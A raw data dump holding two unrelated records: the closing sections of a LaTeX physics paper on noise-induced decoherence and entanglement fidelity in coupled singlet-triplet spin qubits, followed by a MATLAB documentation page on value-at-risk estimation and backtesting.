\subsection{Noise dependence}
\label{sec:q}
We first consider the case where the magnetic field gradient is zero on
average, $h_0 = 0$,
and examine the variation of the coherence time with respect to both the
charge noise $\sigma_J$ and the field noise $\sigma_h$.
Within the $h_0=0$ parameter subspace, we find that the singlet-triplet qubits
behave similarly to the exchange-only qubits as reported in
Ref.~\onlinecite{Throckmorton17}.
Figures~\ref{fig:q-cut} and~\ref{fig:q-heatmap} show the dependence of the
quality factor $Q$ on the charge noise $\sigma_J$ as well as
the field noise $\sigma_h$.
We find that the quality factor for the coupled qubits is suppressed when
either type of noise increases, and the system is significantly more
susceptible to charge noise than field noise.
As marked by a contour line in Fig.~\ref{fig:q-heatmap},
to achieve a quality factor $Q$ higher than $0.9$ (corresponding to a
coherence time $T_2^*\sim 10J_0^{-1}$), the maximum allowed charge noise
$\sigma_J$ is around $0.045J_0$, while the maximum allowed field noise
$\sigma_h$ is around $1.0J_0$.
The order of magnitude difference between the sensitivity to charge noise and
the sensitivity to field noise as measured by two-qubit coherence time
is in agreement with the results previous reported on the exchange-only
qubits~\cite{Throckmorton17}.
Quantitatively, we find that the singlet-triplet system is about 3 (1.5) times
more sensitive to the charge (field) noise compared with the exchange-only
system in the regime with a quality factor $Q\ge 0.9$.
This is consistent with the intuitive observation that the exchange-only
system enjoys an additional protection due to the spin $S_z$ conservation.
The fact that charge noise is the dominant decohering mechanism for
singlet-triplet qubits (and is even more detrimental here than for exchange-only
qubits) is, however, only true for $h_0=0$ as we discuss next.
\subsection{Effect of the magnetic field gradient}
\begin{figure}[]
\centering
\includegraphics{q_heatmap_h0.pdf}%
\caption{\label{fig:q-heatmap-h0}
Quality factor $Q$ as a function of the charge noise $\sigma_J$ and the
field noise $\sigma_h$,
for a range of magnetic field gradient $h_0$ from $0$ to $10J_0$.
All panels share the same color map depicted on the right.
In each panel, the three dotted contour lines mark the levels
$Q=0.99, 0.95, 0.90$ (from the bottom-left corner inwards).
}
\end{figure}
Experimentally, charge noise in GaAs-based spin-qubit devices is typically
much weaker in absolute strength than field noise,
due to the strong Overhauser nuclear spin fluctuations.
In Si-based spin-qubit devices, however, the nuclear spin fluctuations can be
significantly suppressed thanks to isotope purification of $^{28}$Si~\cite{Witzel10}.
In this case, the strong sensitivity to charge noise may pose a serious
obstacle to the fidelity of coupled qubits,
since there is no known way to systematically reduce the charge noise in
semiconductor structures.
From our numerical results, we find that this problem may be alleviated
through the additional tunable parameter in the singlet-triplet system, namely,
the average magnetic field gradient $h_0$ across each singlet-triplet qubit.
Figure~\ref{fig:q-heatmap-h0} shows the effect of $h_0$ on the noise
dependence of the quality factor $Q$.
As the magnetic field gradient $h_0$ goes up, the coherence of the coupled-qubit
dynamics becomes less sensitive to the charge noise $\sigma_J$, but more
vulnerable to the field noise $\sigma_h$.
When $h_0$ is higher than $J_0$, the coupled qubits become more susceptible to
field noise than charge noise, in sharp contrast to the situation for
$h_0=0$.
The sensitivity to $\sigma_h$ saturates when $h_0$ is more than a few times
stronger than $J_0$.
For reference, we note that the entangling gate experiments reported in
Ref.~\onlinecite{Nichol17} were carried out at an effective $h_0\sim 5J_0$,
albeit under a different setup with individual qubits driven by an oscillatory
$J_i(t)$.
Comparing the numerical results in Figs.~\ref{fig:q-heatmap}
and~\ref{fig:q-heatmap-h0}(e), we find that the maximum allowed charge noise
to achieve a high quality factor $Q\ge 0.99$
increases by more than 10 times as the magnetic field gradient $h_0$ is cranked up
from zero to $5J_0$.
This enhanced stability against charge noise is consistent with the
experimental observation in Ref.~\onlinecite{Nichol17} that a magnetic field
gradient $h_0\sim 5J_0$ increases the two-qubit coherence time by an order
of magnitude in a device dominated by charge noise.
We mention here that the GaAs system used in Ref.~\onlinecite{Nichol17} obviously
also has considerable field noise, arising from nuclear spin fluctuations in
Ga and As, contributing to decoherence.
\section{Fidelity of entangled state preparation}
\label{sec:ent}
The two-qubit coherence time $T_2^*$ measures the persistence of two-qubit
oscillations in the presence of environmental noises. This is a
characterization of how well the system retains the initial non-eigenstate
information.
In this section, we study a different aspect of two-qubit fidelity, namely,
the fidelity $F_E$ of preparing an entangled state.
We investigate how well the system produces an entangled state starting from
an initial product state under the influence of environmental noises.
This analysis is less sophisticated than a full-blown gate fidelity calculation
using randomized benchmarking.
Nevertheless, it provides useful insights through a perspective complementary
to the two-qubit coherence time $T_2^*$,
and provides a single fidelity number (the entanglement fidelity, $F_E$)
similar to the full-blown numerically intensive Clifford gate randomized
benchmarking calculation which is beyond the scope of the current work.
\subsection{Producing an entangled state}
We choose the product initial state
$\ket{\phi(0)}=\ket{\uparrow}_x\otimes\ket{\downarrow}_x$ and let the system
evolve under the Hamiltonian $H$ in Eq.~\eqref{eq:h} for a fixed amount of
time $t$ (to be specified). In the clean limit, the resulting state is
\begin{equation}
\ket{E(t)}=
e^{-i[
\varepsilon J_0^2\sigma_1^z\sigma_2^z
+J_0(\sigma_1^z+\sigma_2^z)
+h_0(\sigma_1^x+\sigma_2^x)
]t}
|\phi(0)\rangle.
\end{equation}
This is in general an entangled state, and as we discuss below, with a proper
choice of the evolution time $t$, $\ket{E(t)}$ is in fact maximally entangled
for both $h_0=0$ and $h_0\gg J_0$.
It should be noted that the Hamiltonian $H$ is not always effective at
generating entanglement starting from an arbitrary initial state. The
particular initial state
$\ket{\phi(0)}=\ket{\uparrow}_x\otimes\ket{\downarrow}_x$ chosen here
provides a simple setup to discuss the effect of noise on entangled state
preparation.
In the presence of environmental noises,
the time-evolved state $e^{-iHt}\ket{\phi(0)}$ depends on the disorder
realization and deviates from its clean limit $\ket{E(t)}$.
Using the latter as a reference, we define the fidelity of entangled state
preparation~\cite{Nelsen00} $F_E$ as the disorder-averaged overlap
\begin{equation}\label{eq:FE}
F_E=\average{\Big|\braket{E(t)|e^{-iHt}|\phi(0)}\Big|^2}.
\end{equation}
Similarly to the two-qubit coherence time $T_2^*$, this is a function of the
field noise $\sigma_h$, the charge noise $\sigma_J$, and the magnetic field gradient
$h_0$.
\begin{figure}[]
\centering
\includegraphics{entanglement.pdf}%
\caption{\label{fig:entanglement}
(a) Entanglement entropy $S_E$ of $\ket{E(t)}$ as
a function of the evolution time $t$ for various values of $h_0$.
The evolution time $t$ is shown in units of
$t_0=\frac{\pi}{4\varepsilon J_0^2}$, whereas the entanglement entropy
$S_E$ is shown in units of its maximal value $\log 2$.
(b) Entanglement entropy of $\ket{E(t_0)}$ for
$t_0=\frac{\pi}{4\varepsilon J_0^2}$, as a function of $h_0/J_0$.
Data in both panels are computed in the clean limit $\sigma_J=\sigma_h=0$.
}
\end{figure}
We want to make sure that $F_E$ indeed measures the fidelity associated with
generating an \emph{entangled} state.
To this end, we now discuss the choice of the evolution time $t$ that
maximizes the entanglement between the two qubits in the reference
state $\ket{E(t)}$.
In the absence of a magnetic field gradient $h_0$, the reduced density matrix
after tracing out one qubit in $\ket{E(t)}$ takes the simple form
\begin{equation}
\frac{1}{2}\left(\begin{array}{cc}
1 & -e^{-2i J_0t}\cos (2\varepsilon J_0^2 t) \\
-e^{2i J_0t}\cos (2\varepsilon J_0^2 t) & 1 \\
\end{array}\right).
\end{equation}
This suggests setting the evolution time $t$ in Eq.~\eqref{eq:FE} to
\begin{equation}\label{eq:t0}
t_0=\frac{\pi}{4\varepsilon J_0^2},
\end{equation}
where $\varepsilon J_0$ measures the strength of the interqubit Ising
coupling (set to $0.1$ in this paper).
This choice ensures that the reference state $\ket{E(t_0)}$ is maximally
entangled between the two qubits for $h_0=0$, with entanglement entropy
$S_E=\log 2$.
The situation for $h_0\neq 0$ is less obvious.
Figure~\ref{fig:entanglement}(a) shows the dependence of the entanglement
entropy $S_E$ between the two qubits on the evolution time $t$, for various
values of $h_0$.
We find that for both $h_0=0$ and $h_0\gg J_0$,
the entanglement entropy of $\ket{E(t)}$ peaks at $t=t_0$, whereas for
intermediate $h_0\sim J_0$, the entanglement entropy has irregular dynamics
but still reaches a moderate level at $t=t_0$.
Figure~\ref{fig:entanglement}(b) shows the entanglement entropy at $t=t_0$ as
a function of the magnetic field gradient $h_0$.
We find that the reference state at $t=t_0$ is nearly maximally entangled for
a wide range of $h_0$ except for a small window near $J_0$.
This justifies our operational definition of the entanglement fidelity using
the evolution time $t_0$ defined in Eq.~\eqref{eq:t0}.
\subsection{Noise dependence of $F_E$}
\begin{figure}[]
\centering
\includegraphics{entfid_heatmap.pdf}%
\caption{\label{fig:entfid-heatmap}
Entanglement fidelity $F_E$ as a function of the charge noise $\sigma_J$ and
the field noise $\sigma_h$ at zero magnetic field gradient $h_0$.
The three dotted contour lines mark the levels $F_E=0.9$, $0.95$, and $0.99$,
resp.
}
\end{figure}
\begin{figure}[]
\centering
\includegraphics{entfid_heatmap_h0.pdf}%
\caption{\label{fig:entfid-heatmap-h0}
Entanglement fidelity $F_E$ as a function of the charge
noise $\sigma_J$ and the field noise $\sigma_h$, for a range of magnetic
field gradient $h_0$ from $0$ to $10J_0$.
All panels share the same color map depicted on the right.
In each panel, the dotted contour lines mark the levels $F_E=0.99, 0.95, 0.90$
(from the bottom-left corner inwards).
}
\end{figure}
We now examine how the fidelity of entangled state preparation is affected by
environmental noises.
First we consider the case of zero magnetic gradient $h_0=0$.
Figure~\ref{fig:entfid-heatmap} shows the dependence of the entanglement fidelity $F_E$ as
a function of the charge noise $\sigma_J$ and the field noise $\sigma_h$.
We find that $F_E$ decays monotonically when either type of noise
increases, and the system is more susceptible to the charge
noise $\sigma_J$ than the field noise $\sigma_h$.
To reach $F_E$ higher than $0.9$, the maximum allowed charge noise $\sigma_J$
is around $0.03J_0$, while the maximum allowed field noise $\sigma_h$ is
around $0.18J_0$.
We observe that the fidelity of entangled state generation has a charge noise
dependence comparable to that of the quality factor $Q$ associated with
the two-qubit coherence time $T_2^*$, but it has a field noise dependence
about 5 times stronger than that of the quality factor $Q$.
This suggests that field noise is more effective at disrupting the
precise preparing of an entangled state than damping the coupled-qubit
oscillations.
This is germane for future progress in the subject since field noise can
essentially be eliminated is Si qubits through isotopic purification.
Compared with the exchange-only qubits studied in
Ref.~\onlinecite{Throckmorton17}, the entanglement fidelity $F_E$ for the singlet-triplet
qubits computed here is significantly more susceptible to charge noise.
Intuitively, this is consistent with the fact that the Ising Hamiltonian of
the singlet-triplet system has a weaker (by a factor of $\varepsilon J_0$)
interqubit coupling and thus is less effective at entangling the two qubits
than the Heisenberg Hamiltonian for the exchange-only system. The longer
evolution time strengthens the effect of charge noise as it modifies the
qubit precession frequency.
This particular damaging aspect of charge noise can be partially rectified by
having stronger interqubit coupling through careful qubit geometry engineering.
The noise dependence of $F_E$ changes qualitatively when we turn on the
magnetic field gradient $h_0$.
The progression is shown in Fig.~\ref{fig:entfid-heatmap-h0}.
As the magnetic field gradient $h_0$ increases, the entanglement fidelity $F_E$
quickly develops
more sensitivity to the field noise $\sigma_h$ while becoming less susceptible to
the charge noise $\sigma_J$.
At the turning point $h_0=J_0$, the noise dependence of $F_E$ is approximately
symmetric with respect to $\sigma_J$ and $\sigma_h$.
As the magnetic field gradient $h_0$ increases further, the sensitivity to
charge noise is quickly suppressed, while the sensitivity to
field noise reaches a plateau.
For $h_0\gg J_0$, the entanglement fidelity $F_E$ is limited mainly by the field noise
$\sigma_h$ (again implying a considerable advantage for isotopically purified
Si qubits).
Overall, we find that the fidelity of entangled state preparation has a
noise dependence qualitatively similar to that of the coherence time quality
factor.
\section{Conclusion}
\label{sec:conclusion}
In this paper we have studied the decoherence of two singlet-triplet
spin qubits with capacitive coupling under the influence of
quasistatic environmental noises.
We consider two complementary decoherence measures for coupled qubits, namely,
the two-qubit coherence time characterizing the persistence of coupled-qubit
oscillations, and the fidelity of entangled state preparation.
Through numerical calculations, we provide a quantitative map of the
dependence of each decoherence measure on charge noise, field noise, and
the intraqubit magnetic field gradient.
We find that the noise dependence of the coupled-qubit coherence changes
qualitatively as the magnetic field gradient increases.
When the (average) magnetic field gradient vanishes, the coupled-qubit system
is more susceptible to charge noise than field noise.
For the two-qubit coherence time to be longer
than $10J_0^{-1}$, the maximum allowed charge noise is an order of magnitude
lower than the maximum allowed field noise. The fidelity of entangled state
preparation has a similar (although less pronounced) bias in its noise
sensitivity.
In contrast, when the coupled-qubit system is dominated by a strong magnetic
field gradient, the sensitivity to charge noise is strongly suppressed and becomes
much weaker than the sensitivity to field noise, as visible in both the two-qubit
coherence time and the entanglement fidelity.
Our results highlight the impact of the magnetic field gradient on the noise
dependence of the coupled-qubit system.
Increasing the magnetic field gradient $h_0$ proves to be an effective measure to
protect against charge noise the coherence of coupled singlet-triplet qubits
in terms of both the persistence of coupled-qubit oscillations and the precise
preparation of entangled states.
In addition, our work points to clear advantages for Si-based qubits over GaAs
qubits since isotopic purification could eliminate field noise in Si (but not
in GaAs).
Elimination of field noise would enhance fidelity, and working in a large
field gradient would suppress the charge noise, eventually leading to
high-fidelity singlet-triplet semiconductor spin qubits suitable for quantum
error correction protocols.
Our work establishes, however, that even in the best possible circumstances
(Si qubits with no field noise working at a large field gradient), the magnitude
of the effective charge noise still must be reduced below $1$-$2\%$ of the
basic intraqubit exchange coupling $J_0$ producing the singlet-triplet qubits,
so that a quality factor and an entanglement fidelity surpassing $99\%$ can be
achieved for 2-qubit operations.
\acknowledgements
This work is supported by Laboratory for Physical Sciences.
| {
"redpajama_set_name": "RedPajamaArXiv"
} | 9,601 |
{"url":"https:\/\/uk.mathworks.com\/help\/risk\/value-at-risk-estimation-and-backtesting.html","text":"# Value-at-Risk Estimation and Backtesting\n\nThis example shows how to estimate the value-at-risk (VaR) using three methods and perform a VaR backtesting analysis. The three methods are:\n\n1. Normal distribution\n\n2. Historical simulation\n\n3. Exponential weighted moving average (EWMA)\n\nValue-at-risk is a statistical method that quantifies the risk level associated with a portfolio. The VaR measures the maximum amount of loss over a specified time horizon and at a given confidence level.\n\nBacktesting measures the accuracy of the VaR calculations. Using VaR methods, the loss forecast is calculated and then compared to the actual losses at the end of the next day. The degree of difference between the predicted and actual losses indicates whether the VaR model is underestimating or overestimating the risk. As such, backtesting looks retrospectively at data and helps to assess the VaR model.\n\nThe three estimation methods used in this example estimate the VaR at 95% and 99% confidence levels.\n\n### Load the Data and Define the Test Window\n\nLoad the data. The data used in this example is from a time series of returns on the S&P index from 1993 through 2003.\n\n```load VaRExampleData.mat Returns = tick2ret(sp); DateReturns = dates(2:end); SampleSize = length(Returns);```\n\nDefine the estimation window as 250 trading days. The test window starts on the first day in 1996 and runs through the end of the sample.\n\n```TestWindowStart = find(year(DateReturns)==1996,1); TestWindow = TestWindowStart : SampleSize; EstimationWindowSize = 250;```\n\nFor a VaR confidence level of 95% and 99%, set the complement of the VaR level.\n\n`pVaR = [0.05 0.01];`\n\nThese values mean that there is at most a 5% and 1% probability, respectively, that the loss incurred will be greater than the maximum threshold (that is, greater than the VaR).\n\n### Compute the VaR Using the Normal Distribution Method\n\nFor the normal distribution method, assume that the profit and loss of the portfolio is normally distributed. Using this assumption, compute the VaR by multiplying the z-score, at each confidence level by the standard deviation of the returns. Because VaR backtesting looks retrospectively at data, the VaR \"today\" is computed based on values of the returns in the last N = 250 days leading to, but not including, \"today.\"\n\n```Zscore = norminv(pVaR); Normal95 = zeros(length(TestWindow),1); Normal99 = zeros(length(TestWindow),1); for t = TestWindow i = t - TestWindowStart + 1; EstimationWindow = t-EstimationWindowSize:t-1; Sigma = std(Returns(EstimationWindow)); Normal95(i) = -Zscore(1)*Sigma; Normal99(i) = -Zscore(2)*Sigma; end figure; plot(DateReturns(TestWindow),[Normal95 Normal99]) xlabel('Date') ylabel('VaR') legend({'95% Confidence Level','99% Confidence Level'},'Location','Best') title('VaR Estimation Using the Normal Distribution Method')```\n\nThe normal distribution method is also known as parametric VaR because its estimation involves computing a parameter for the standard deviation of the returns. The advantage of the normal distribution method is its simplicity. However, the weakness of the normal distribution method is the assumption that returns are normally distributed. Another name for the normal distribution method is the variance-covariance approach.\n\n### Compute the VaR Using the Historical Simulation Method\n\nUnlike the normal distribution method, the historical simulation (HS) is a nonparametric method. It does not assume a particular distribution of the asset returns. Historical simulation forecasts risk by assuming that past profits and losses can be used as the distribution of profits and losses for the next period of returns. The VaR \"today\" is computed as the p th-quantile of the last N returns prior to \"today.\"\n\n```Historical95 = zeros(length(TestWindow),1); Historical99 = zeros(length(TestWindow),1); for t = TestWindow i = t - TestWindowStart + 1; EstimationWindow = t-EstimationWindowSize:t-1; X = Returns(EstimationWindow); Historical95(i) = -quantile(X,pVaR(1)); Historical99(i) = -quantile(X,pVaR(2)); end figure; plot(DateReturns(TestWindow),[Historical95 Historical99]) ylabel('VaR') xlabel('Date') legend({'95% Confidence Level','99% Confidence Level'},'Location','Best') title('VaR Estimation Using the Historical Simulation Method')```\n\nThe preceding figure shows that the historical simulation curve has a piecewise constant profile. The reason for this is that quantiles do not change for several days until extreme events occur. Thus, the historical simulation method is slow to react to changes in volatility.\n\n### Compute the VaR Using the Exponential Weighted Moving Average Method (EWMA)\n\nThe first two VaR methods assume that all past returns carry the same weight. The exponential weighted moving average (EWMA) method assigns nonequal weights, particularly exponentially decreasing weights. The most recent returns have higher weights because they influence \"today's\" return more heavily than returns further in the past. The formula for the EWMA variance over an estimation window of size ${W}_{E}$ is:\n\n`${\\underset{}{\\overset{\u02c6}{\\sigma }}}_{t}^{2}=\\frac{1}{c}\\sum _{i=1}^{{W}_{E}}{\\lambda }^{i-1}{y}_{t-i}^{2}$`\n\nwhere $c$ is a normalizing constant:\n\n`$c=\\sum _{i=1}^{{W}_{E}}{\\lambda }^{i-1}=\\frac{1-{\\lambda }^{{W}_{E}}}{1-\\lambda }\\phantom{\\rule{1em}{0ex}}\\to \\frac{1}{1-\\lambda }\\phantom{\\rule{0.5em}{0ex}}as\\phantom{\\rule{0.5em}{0ex}}{W}_{E}\\to \\infty$`\n\nFor convenience, we assume an infinitely large estimation window to approximate the variance:\n\n`${\\underset{}{\\overset{\u02c6}{\\sigma }}}_{t}^{2}\\approx \\left(1-\\lambda \\right)\\left({y}_{t-1}^{2}+\\sum _{i=2}^{\\infty }{\\lambda }^{i-1}{y}_{t-i}^{2}\\right)=\\left(1-\\lambda \\right){y}_{t-1}^{2}+\\lambda {\\underset{}{\\overset{\u02c6}{\\sigma }}}_{t-1}^{2}$`\n\nA value of the decay factor frequently used in practice is 0.94. This is the value used in this example. For more information, see References.\n\nInitiate the EWMA using a warm-up phase to set up the standard deviation.\n\n```Lambda = 0.94; Sigma2 = zeros(length(Returns),1); Sigma2(1) = Returns(1)^2; for i = 2 : (TestWindowStart-1) Sigma2(i) = (1-Lambda) * Returns(i-1)^2 + Lambda * Sigma2(i-1); end```\n\nUse the EWMA in the test window to estimate the VaR.\n\n```Zscore = norminv(pVaR); EWMA95 = zeros(length(TestWindow),1); EWMA99 = zeros(length(TestWindow),1); for t = TestWindow k = t - TestWindowStart + 1; Sigma2(t) = (1-Lambda) * Returns(t-1)^2 + Lambda * Sigma2(t-1); Sigma = sqrt(Sigma2(t)); EWMA95(k) = -Zscore(1)*Sigma; EWMA99(k) = -Zscore(2)*Sigma; end figure; plot(DateReturns(TestWindow),[EWMA95 EWMA99]) ylabel('VaR') xlabel('Date') legend({'95% Confidence Level','99% Confidence Level'},'Location','Best') title('VaR Estimation Using the EWMA Method')```\n\nIn the preceding figure, the EWMA reacts very quickly to periods of large (or small) returns.\n\n### VaR Backtesting\n\nIn the first part of this example, VaR was estimated over the test window with three different methods and at two different VaR confidence levels. The goal of VaR backtesting is to evaluate the performance of VaR models. A VaR estimate at 95% confidence is violated only about 5% of the time, and VaR failures do not cluster. Clustering of VaR failures indicates the lack of independence across time because the VaR models are slow to react to changing market conditions.\n\nA common first step in VaR backtesting analysis is to plot the returns and the VaR estimates together. Plot all three methods at the 95% confidence level and compare them to the returns.\n\n```ReturnsTest = Returns(TestWindow); DatesTest = DateReturns(TestWindow); figure; plot(DatesTest,[ReturnsTest -Normal95 -Historical95 -EWMA95]) ylabel('VaR') xlabel('Date') legend({'Returns','Normal','Historical','EWMA'},'Location','Best') title('Comparison of returns and VaR at 95% for different models')```\n\nTo highlight how the different approaches react differently to changing market conditions, you can zoom in on the time series where there is a large and sudden change in the value of returns. For example, around August 1998:\n\n```ZoomInd = (DatesTest >= datetime(1998,8,5)) & (DatesTest <= datetime(1998,10,31)); VaRData = [-Normal95(ZoomInd) -Historical95(ZoomInd) -EWMA95(ZoomInd)]; VaRFormat = {'-','--','-.'}; D = DatesTest(ZoomInd); R = ReturnsTest(ZoomInd); N = Normal95(ZoomInd); H = Historical95(ZoomInd); E = EWMA95(ZoomInd); IndN95 = (R < -N); IndHS95 = (R < -H); IndEWMA95 = (R < -E); figure; bar(D,R,0.5,'FaceColor',[0.7 0.7 0.7]); hold on for i = 1 : size(VaRData,2) stairs(D-0.5,VaRData(:,i),VaRFormat{i}); end ylabel('VaR') xlabel('Date') legend({'Returns','Normal','Historical','EWMA'},'Location','Best','AutoUpdate','Off') title('95% VaR violations for different models') ax = gca; ax.ColorOrderIndex = 1; plot(D(IndN95),-N(IndN95),'o',D(IndHS95),-H(IndHS95),'o',... D(IndEWMA95),-E(IndEWMA95),'o','MarkerSize',8,'LineWidth',1.5) xlim([D(1)-1, D(end)+1]) hold off;```\n\nA VaR failure or violation happens when the returns have a negative VaR. A closer look around August 27 to August 31 shows a significant dip in the returns. On the dates starting from August 27 onward, the EWMA follows the trend of the returns closely and more accurately. Consequently, EWMA has fewer VaR violations (two (2) violations, yellow diamonds) compared to the Normal Distribution approach (seven (7) violations, blue stars) or the Historical Simulation method (eight (8) violations, red squares).\n\nBesides visual tools, you can use statistical tests for VaR backtesting. In Risk Management Toolbox\u2122, a `varbacktest` object supports multiple statistical tests for VaR backtesting analysis. In this example, start by comparing the different test results for the normal distribution approach at the 95% and 99% VaR levels.\n\n```vbt = varbacktest(ReturnsTest,[Normal95 Normal99],'PortfolioID','S&P','VaRID',... {'Normal95','Normal99'},'VaRLevel',[0.95 0.99]); summary(vbt)```\n```ans=2\u00d710 table PortfolioID VaRID VaRLevel ObservedLevel Observations Failures Expected Ratio FirstFailure Missing ___________ __________ ________ _____________ ____________ ________ ________ ______ ____________ _______ \"S&P\" \"Normal95\" 0.95 0.94863 1966 101 98.3 1.0275 7 0 \"S&P\" \"Normal99\" 0.99 0.98372 1966 32 19.66 1.6277 7 0 ```\n\nThe summary report shows that the observed level is close enough to the defined VaR level. The 95% and 99% VaR levels have at most `(1-VaR_level) x`` ``N` expected failures, where N is the number of observations. The failure ratio shows that the `Normal95` VaR level is within range, whereas the `Normal99` VaR Level is imprecise and under-forecasts the risk. To run all tests supported in `varbacktest`, use `runtests`.\n\n`runtests(vbt)`\n```ans=2\u00d711 table PortfolioID VaRID VaRLevel TL Bin POF TUFF CC CCI TBF TBFI ___________ __________ ________ ______ ______ ______ ______ ______ ______ ______ ______ \"S&P\" \"Normal95\" 0.95 green accept accept accept accept reject reject reject \"S&P\" \"Normal99\" 0.99 yellow reject reject accept reject accept reject reject ```\n\nThe 95% VaR passes the frequency tests, such as traffic light, binomial and proportion of failures tests (`tl`, `bin`, and `pof` columns). The 99% VaR does not pass these same tests, as indicated by the `yellow` and `reject` results. Both confidence levels got rejected in the conditional coverage independence, and time between failures independence (`cci` and `tbfi` columns). This result suggests that the VaR violations are not independent, and there are probably periods with multiple failures in a short span. Also, one failure may make it more likely that other failures will follow in subsequent days. For more information on the tests methodologies and the interpretation of results, see `varbacktest` and the individual tests.\n\nUsing a `varbacktest` object, run the same tests on the portfolio for the three approaches at both VaR confidence levels.\n\n```vbt = varbacktest(ReturnsTest,[Normal95 Historical95 EWMA95 Normal99 Historical99 ... EWMA99],'PortfolioID','S&P','VaRID',{'Normal95','Historical95','EWMA95',... 'Normal99','Historical99','EWMA99'},'VaRLevel',[0.95 0.95 0.95 0.99 0.99 0.99]); runtests(vbt)```\n```ans=6\u00d711 table PortfolioID VaRID VaRLevel TL Bin POF TUFF CC CCI TBF TBFI ___________ ______________ ________ ______ ______ ______ ______ ______ ______ ______ ______ \"S&P\" \"Normal95\" 0.95 green accept accept accept accept reject reject reject \"S&P\" \"Historical95\" 0.95 yellow accept accept accept accept accept reject reject \"S&P\" \"EWMA95\" 0.95 green accept accept accept accept accept reject reject \"S&P\" \"Normal99\" 0.99 yellow reject reject accept reject accept reject reject \"S&P\" \"Historical99\" 0.99 yellow reject reject accept reject accept reject reject \"S&P\" \"EWMA99\" 0.99 red reject reject accept reject accept reject reject ```\n\nThe results are similar to the previous results, and at the 95% level, the frequency results are generally acceptable. However, the frequency results at the 99% level are generally rejections. Regarding independence, most tests pass the conditional coverage independence test (`cci`), which tests for independence on consecutive days. Notice that all tests fail the time between failures independence test (`tbfi`), which takes into account the times between all failures. This result suggests that all methods have issues with the independence assumption.\n\nTo better understand how these results change given market conditions, look at the years 2000 and 2002 for the 95% VaR confidence level.\n\n```Ind2000 = (year(DatesTest) == 2000); vbt2000 = varbacktest(ReturnsTest(Ind2000),[Normal95(Ind2000) Historical95(Ind2000) EWMA95(Ind2000)],... 'PortfolioID','S&P, 2000','VaRID',{'Normal','Historical','EWMA'}); runtests(vbt2000)```\n```ans=3\u00d711 table PortfolioID VaRID VaRLevel TL Bin POF TUFF CC CCI TBF TBFI ___________ ____________ ________ _____ ______ ______ ______ ______ ______ ______ ______ \"S&P, 2000\" \"Normal\" 0.95 green accept accept accept accept accept accept accept \"S&P, 2000\" \"Historical\" 0.95 green accept accept accept accept accept accept accept \"S&P, 2000\" \"EWMA\" 0.95 green accept accept accept accept accept accept accept ```\n```Ind2002 = (year(DatesTest) == 2002); vbt2002 = varbacktest(ReturnsTest(Ind2002),[Normal95(Ind2002) Historical95(Ind2002) EWMA95(Ind2002)],... 'PortfolioID','S&P, 2002','VaRID',{'Normal','Historical','EWMA'}); runtests(vbt2002)```\n```ans=3\u00d711 table PortfolioID VaRID VaRLevel TL Bin POF TUFF CC CCI TBF TBFI ___________ ____________ ________ ______ ______ ______ ______ ______ ______ ______ ______ \"S&P, 2002\" \"Normal\" 0.95 yellow reject reject accept reject reject reject reject \"S&P, 2002\" \"Historical\" 0.95 yellow reject accept accept reject reject reject reject \"S&P, 2002\" \"EWMA\" 0.95 green accept accept accept accept reject reject reject ```\n\nFor the year 2000, all three methods pass all the tests. However, for the year 2002, the test results are mostly rejections for all methods. The EWMA method seems to perform better in 2002, yet all methods fail the independence tests.\n\nTo get more insight into the independence tests, look into the conditional coverage independence (`cci`) and the time between failures independence (`tbfi`) test details for the year 2002. To access the test details for all tests, run the individual test functions.\n\n`cci(vbt2002)`\n```ans=3\u00d713 table PortfolioID VaRID VaRLevel CCI LRatioCCI PValueCCI Observations Failures N00 N10 N01 N11 TestLevel ___________ ____________ ________ ______ _________ _________ ____________ ________ ___ ___ ___ ___ _________ \"S&P, 2002\" \"Normal\" 0.95 reject 12.591 0.0003877 261 21 225 14 14 7 0.95 \"S&P, 2002\" \"Historical\" 0.95 reject 6.3051 0.012039 261 20 225 15 15 5 0.95 \"S&P, 2002\" \"EWMA\" 0.95 reject 4.6253 0.031504 261 14 235 11 11 3 0.95 ```\n\nIn the CCI test, the probability p `01` of having a failure at time t, knowing that there was no failure at time t-1 is given by\n\n`${p}_{01}=\\frac{{N}_{01}}{{N}_{01}+{N}_{00}}$`\n\nThe probability p `11` of having a failure at time t, knowing that there was failure at time t-1 is given by\n\n`${p}_{11}=\\frac{{N}_{11}}{{N}_{11}+{N}_{10}}$`\n\nFrom the `N00`, `N10`, `N01`, `N11` columns in the test results, the value of p `01` is at around 5% for the three methods, yet the values of p `11` are above 20%. Because there is evidence that a failure is followed by another failure much more frequently than 5% of the time, this CCI test fails.\n\nIn the time between failures independence test, look at the minimum, maximum, and quartiles of the distribution of times between failures, in the columns `TBFMin`, `TBFQ1`, `TBFQ2`, `TBFQ3`, `TBFMax`.\n\n`tbfi(vbt2002)`\n```ans=3\u00d714 table PortfolioID VaRID VaRLevel TBFI LRatioTBFI PValueTBFI Observations Failures TBFMin TBFQ1 TBFQ2 TBFQ3 TBFMax TestLevel ___________ ____________ ________ ______ __________ __________ ____________ ________ ______ _____ _____ _____ ______ _________ \"S&P, 2002\" \"Normal\" 0.95 reject 53.936 0.00010087 261 21 1 1 5 17 48 0.95 \"S&P, 2002\" \"Historical\" 0.95 reject 45.274 0.0010127 261 20 1 1.5 5.5 17 48 0.95 \"S&P, 2002\" \"EWMA\" 0.95 reject 25.756 0.027796 261 14 1 4 7.5 20 48 0.95 ```\n\nFor a VaR level of 95%, you expect an average time between failures of 20 days, or one failure every 20 days. However, the median of the time between failures for the year 2002 ranges between 5 and 7.5 for the three methods. This result suggests that half of the time, two consecutive failures occur within 5 to 7 days, much more frequently than the 20 expected days. Consequently, more test failures occur. For the normal method, the first quartile is 1, meaning that 25% of the failures occur on consecutive days.\n\n### References\n\nNieppola, O. Backtesting Value-at-Risk Models. Helsinki School of Economics. 2009.\n\nDanielsson, J. Financial Risk Forecasting: The Theory and Practice of Forecasting Market Risk, with Implementation in R and MATLAB\u00ae. Wiley Finance, 2012.","date":"2021-09-27 07:20:50","metadata":"{\"extraction_info\": {\"found_math\": true, \"script_math_tex\": 0, \"script_math_asciimath\": 0, \"math_annotations\": 0, \"math_alttext\": 0, \"mathml\": 7, \"mathjax_tag\": 0, \"mathjax_inline_tex\": 0, \"mathjax_display_tex\": 0, \"mathjax_asciimath\": 0, \"img_math\": 0, \"codecogs_latex\": 0, \"wp_latex\": 0, \"mimetex.cgi\": 0, \"\/images\/math\/codecogs\": 0, \"mathtex.cgi\": 0, \"katex\": 0, \"math-container\": 0, \"wp-katex-eq\": 0, \"align\": 0, \"equation\": 0, \"x-ck12\": 0, \"texerror\": 0, \"math_score\": 0.5862268805503845, \"perplexity\": 967.0146348655462}, \"config\": 